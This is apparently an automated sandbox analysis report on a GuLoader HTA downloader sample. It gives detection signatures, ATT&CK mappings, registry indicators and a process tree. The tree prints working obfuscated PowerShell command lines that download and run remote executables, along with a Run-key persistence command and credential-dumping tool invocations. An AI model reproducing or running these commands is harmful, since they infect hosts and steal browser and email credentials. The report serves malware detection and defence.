guloader | f9ef47c6f722307c0a1df59c932898e4fcb365a3e53c13066aeb7d92439382de

Analysis

max time kernel
147s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
10/08/2024, 07:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d2558185d1f9381341a3d71f8cfaad7c.hta
Size 152KB
Sample240810-jpvdfa1drr
SHA256 f9ef47c6f722307c0a1df59c932898e4fcb365a3e53c13066aeb7d92439382de
MD5 d2558185d1f9381341a3d71f8cfaad7c
SHA1 ec058a416fcfe8277931503cc63a7f72b429ee92
SHA512 177a87e1a339956893011a558ee2e966c7d7ccc0f74bb21f13a72dc2a998251b13e0bc94cec1f3972d946309bb452561f6302f25f9ca56912099b566b124c134
SSDEEP 768:tZ6A3yXNA0AGAWTiGHriGCX57fY5ExiG3HJQiXAZO:tn
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection credential_access defense_evasion discovery downloader execution persistence stealer

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2648-121-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3972-123-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/5084-129-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3972-123-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2648-121-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
23	612	powershell.exe
64	1300	WScript.exe
68	976	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4744	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
4828	cmd.exe
612	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
5080	sahost.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Patti = "%Optimeredes% -windowstyle minimized $Afhnderes=(Get-ItemProperty -Path 'HKCU:\\Indfrselsartikler\\').Solnedgangs;%Optimeredes% ($Afhnderes)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4448	wab.exe
4448	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4744	powershell.exe
4448	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4744 set thread context of 4448	4744	powershell.exe	102
PID 4448 set thread context of 2648	4448	wab.exe	110
PID 4448 set thread context of 3972	4448	wab.exe	111
PID 4448 set thread context of 5084	4448	wab.exe	113

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\monopolies\Semiconformist209.ini	sahost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sahost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x00080000000234f4-65.dat	nsis_installer_1
behavioral2/files/0x00080000000234f4-65.dat	nsis_installer_2

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4924	reg.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
612	powershell.exe
612	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
2648	wab.exe
2648	wab.exe
5084	wab.exe
5084	wab.exe
2648	wab.exe
2648	wab.exe
976	powershell.exe
976	powershell.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
4744	powershell.exe
4448	wab.exe
4448	wab.exe
4448	wab.exe
4448	wab.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	5084	wab.exe
Token: SeDebugPrivilege	976	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4448	wab.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 3744 wrote to memory of 4828	3744	mshta.exe	85
PID 3744 wrote to memory of 4828	3744	mshta.exe	85
PID 3744 wrote to memory of 4828	3744	mshta.exe	85
PID 4828 wrote to memory of 612	4828	cmd.exe	88
PID 4828 wrote to memory of 612	4828	cmd.exe	88
PID 4828 wrote to memory of 612	4828	cmd.exe	88
PID 612 wrote to memory of 1476	612	powershell.exe	92
PID 612 wrote to memory of 1476	612	powershell.exe	92
PID 612 wrote to memory of 1476	612	powershell.exe	92
PID 1476 wrote to memory of 1180	1476	csc.exe	93
PID 1476 wrote to memory of 1180	1476	csc.exe	93
PID 1476 wrote to memory of 1180	1476	csc.exe	93
PID 612 wrote to memory of 5080	612	powershell.exe	97
PID 612 wrote to memory of 5080	612	powershell.exe	97
PID 612 wrote to memory of 5080	612	powershell.exe	97
PID 5080 wrote to memory of 4744	5080	sahost.exe	98
PID 5080 wrote to memory of 4744	5080	sahost.exe	98
PID 5080 wrote to memory of 4744	5080	sahost.exe	98
PID 4744 wrote to memory of 4448	4744	powershell.exe	102
PID 4744 wrote to memory of 4448	4744	powershell.exe	102
PID 4744 wrote to memory of 4448	4744	powershell.exe	102
PID 4744 wrote to memory of 4448	4744	powershell.exe	102
PID 4744 wrote to memory of 4448	4744	powershell.exe	102
PID 4448 wrote to memory of 1264	4448	wab.exe	103
PID 4448 wrote to memory of 1264	4448	wab.exe	103
PID 4448 wrote to memory of 1264	4448	wab.exe	103
PID 1264 wrote to memory of 4924	1264	cmd.exe	105
PID 1264 wrote to memory of 4924	1264	cmd.exe	105
PID 1264 wrote to memory of 4924	1264	cmd.exe	105
PID 4448 wrote to memory of 1300	4448	wab.exe	109
PID 4448 wrote to memory of 1300	4448	wab.exe	109
PID 4448 wrote to memory of 1300	4448	wab.exe	109
PID 4448 wrote to memory of 2648	4448	wab.exe	110
PID 4448 wrote to memory of 2648	4448	wab.exe	110
PID 4448 wrote to memory of 2648	4448	wab.exe	110
PID 4448 wrote to memory of 2648	4448	wab.exe	110
PID 4448 wrote to memory of 3972	4448	wab.exe	111
PID 4448 wrote to memory of 3972	4448	wab.exe	111
PID 4448 wrote to memory of 3972	4448	wab.exe	111
PID 4448 wrote to memory of 3972	4448	wab.exe	111
PID 4448 wrote to memory of 3272	4448	wab.exe	112
PID 4448 wrote to memory of 3272	4448	wab.exe	112
PID 4448 wrote to memory of 3272	4448	wab.exe	112
PID 4448 wrote to memory of 5084	4448	wab.exe	113
PID 4448 wrote to memory of 5084	4448	wab.exe	113
PID 4448 wrote to memory of 5084	4448	wab.exe	113
PID 4448 wrote to memory of 5084	4448	wab.exe	113
PID 1300 wrote to memory of 976	1300	WScript.exe	114
PID 1300 wrote to memory of 976	1300	WScript.exe	114
PID 1300 wrote to memory of 976	1300	WScript.exe	114
PID 976 wrote to memory of 4948	976	powershell.exe	116
PID 976 wrote to memory of 4948	976	powershell.exe	116
PID 976 wrote to memory of 4948	976	powershell.exe	116

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\d2558185d1f9381341a3d71f8cfaad7c.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c powershell.eXE -Ex ByPaSS -NOP -w 1 -c DEViCecredENtialDepLoyMenT ; IEx($(iEX('[sySTEm.tExT.EncODiNG]'+[ChAR]0X3A+[CHAr]0X3A+'UtF8.gETStRing([SYSTEm.coNVeRT]'+[cHar]58+[CHAR]0X3a+'froMBase64StRinG('+[chaR]0X22+'JERhN1N0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUmRFZkluaVRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZNWXBXaHdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpelR1SyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmpRUEosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQUWNnQUhTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLeXgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZCTHduZmJJQVgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1FU3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnhGUVZyakggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkRGE3U3Q6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMy45NC4yMzkuMTEyLzExNC9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U1RhclQtU2xlRVAoMyk7c1RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[chAr]0x22+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.eXE -Ex ByPaSS -NOP -w 1 -c DEViCecredENtialDepLoyMenT ; IEx($(iEX('[sySTEm.tExT.EncODiNG]'+[ChAR]0X3A+[CHAr]0X3A+'UtF8.gETStRing([SYSTEm.coNVeRT]'+[cHar]58+[CHAR]0X3a+'froMBase64StRinG('+[chaR]0X22+'JERhN1N0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUmRFZkluaVRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZNWXBXaHdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpelR1SyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmpRUEosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQUWNnQUhTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLeXgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZCTHduZmJJQVgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1FU3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnhGUVZyakggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkRGE3U3Q6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMy45NC4yMzkuMTEyLzExNC9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U1RhclQtU2xlRVAoMyk7c1RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[chAr]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:612
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\artqx1kp\artqx1kp.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1476
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F4D.tmp" "c:\Users\Admin\AppData\Local\Temp\artqx1kp\CSC80523170B5AA4FA696DAFED699F7570.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1180
  - - C:\Users\Admin\AppData\Roaming\sahost.exe
      "C:\Users\Admin\AppData\Roaming\sahost.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5080
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -windowstyle hidden "$svulsten=Get-Content 'C:\Users\Admin\AppData\Local\Temp\ew\Tubolabellate255\drmmesynerne\Tagvandets.Dec160';$Tilfgnes=$svulsten.SubString(771,3);.$Tilfgnes($svulsten)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4744
      - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        6⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4448
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Patti" /t REG_EXPAND_SZ /d "%Optimeredes% -windowstyle minimized $Afhnderes=(Get-ItemProperty -Path 'HKCU:\Indfrselsartikler\').Solnedgangs;%Optimeredes% ($Afhnderes)"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1264
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Patti" /t REG_EXPAND_SZ /d "%Optimeredes% -windowstyle minimized $Afhnderes=(Get-ItemProperty -Path 'HKCU:\Indfrselsartikler\').Solnedgangs;%Optimeredes% ($Afhnderes)"
        8⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4924
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Forfrelsens.vbs"
        7⤵
        Blocklisted process makes network request
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1300
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
        8⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:976
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:4948
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mjummwlgisjbmvsfiih"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2648
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\plzffpvawabnobgjrtubhd"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3972
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zffxfhgbsitsypdviwgcspqqcb"
        7⤵
        
        PID:3272
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zffxfhgbsitsypdviwgcspqqcb"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 75207b26127c0778928b2c0ce51d371a1b4f5a4c47596902f88dbff9ddd16a79
MD5 fb1df442f2cee34456c6ed9064318559
SHA1 729e8f61f181b303d25e1f709399db242d82c6c2
SHA512 d6df1b8e17733d65ae332d20a22fcbc2cdec8df38a705b694b4d87b2f0c9c287378791c3da2cb2142e95f31df1b4209e01a17a83eabfcb2175f38a9207ad0294
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 e2ba00983d6eca71c885b8e7754ac89c1b1ddfc2ac1b3f268e9af87ea51fcdc1
MD5 b4600790eca60bd853e37919b23e7fda
SHA1 31823e26cb62211fd5d05bfc409d2aaa693ab3eb
SHA512 6162b42fa281366ff5b4420f335ee5f757d1d5febea60dd28cd3a090d232ae7b34d4933ff38b295b801eb3fec1f54dbd7b6e994693f5654bd4954e8e7cd7679c
SSDEEP 384:g6+E2h9p+3GI1e/BB5zJk+o9o2To/6seYuY8/0UM3Soxxpf8keEqSwd0gCd3QKGD:BomZ1eZLejo2ToAZfsRSMVWEqeZ95G
MD5 SHA1 SHA512 SSDEEP

Submit Download

Forfrelsens.vbs

Path C:\Users\Admin\AppData\Local\Temp\Forfrelsens.vbs
Size 26KB
SHA256 b13926e222564a63a3308de6cb116c226e93cd1e9d1b5f2fcac2de6d80e70206
MD5 7a6e4c385a470b962384797f26bc0b8a
